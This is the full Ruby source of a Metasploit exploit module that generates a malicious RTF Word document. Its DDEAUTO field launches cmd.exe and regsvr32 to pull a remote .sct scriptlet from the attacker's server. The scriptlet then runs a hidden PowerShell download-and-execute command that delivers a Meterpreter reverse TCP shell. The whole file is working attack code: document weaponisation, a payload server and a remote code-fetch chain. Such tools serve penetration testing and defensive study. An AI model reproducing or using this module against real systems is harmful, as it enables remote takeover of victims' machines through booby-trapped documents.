1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule< Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FILEFORMAT include Msf::Exploit::Powershell include Msf::Exploit::EXE def initialize(info= {}) super(update_info(info, 'Name' => 'Microsoft Office DDE Payload Delivery', 'Description' => %q{ This module generates an DDE command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. }, 'Author' => 'mumbai', 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 9 2017', 'References' => [ ['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'], ['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/'] ], 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['Microsoft Office', {} ], ], 'DefaultTarget' => 0, 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'EXITFUNC' => 'thread' } )) register_options([ OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]), OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil]) ]) end def gen_psh(url, *method) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl if method.include? 'string' download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric 8}.exe" # Set filename (Use random filename if empty) filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] # Set path (Use %TEMP% if empty) path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') # Join Path and Filename file = %Q(echo (#{path}+'\\#{filename}')) # Generate download PowerShell command download_string = Rex::Powershell::PshMethods.download_run(url, file) end download_and_run = "#{ignore_cert}#{download_string}" # Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) end def on_request_uri(cli, _request) if _request.raw_uri =~ /\.sct$/ print_status("Handling request for .sct from #{cli.peerhost}") payload = gen_psh("#{get_uri}", "string") data = gen_sct_file(payload) send_response(cli, data, 'Content-Type' => 'text/plain') else print_status("Delivering payload to #{cli.peerhost}...") p = regenerate_payload(cli) data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true ) send_response(cli, data, 'Content-Type' => 'application/octet-stream') end end def rand_class_id "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" end def gen_sct_file(command) # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). if command == '' return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>} # If a command is provided, tell the target system to execute it. else return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>} end end def retrieve_header(filename) if (not datastore['INJECT_PATH'].nil?) path = "#{datastore['INJECT_PATH']}" else path = nil end if (not path.nil?) if ::File.file?(path) ::File.open(path, 'rb') do |fd| header = fd.read(fd.stat.size).split('{\*\datastore').first header = header.to_s print_status("Injecting #{path}...") return header end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n" end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n" end return header end def create_rtf # header = retrieve_header(datastore['FILENAME']) field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165' field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}" field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n" field_class << '\insrsid5790315' + "\n" field_class << '\par }' footer ='}}' # footer rtf = header + field_class + footer rtf end def primer file_create(create_rtf) end end |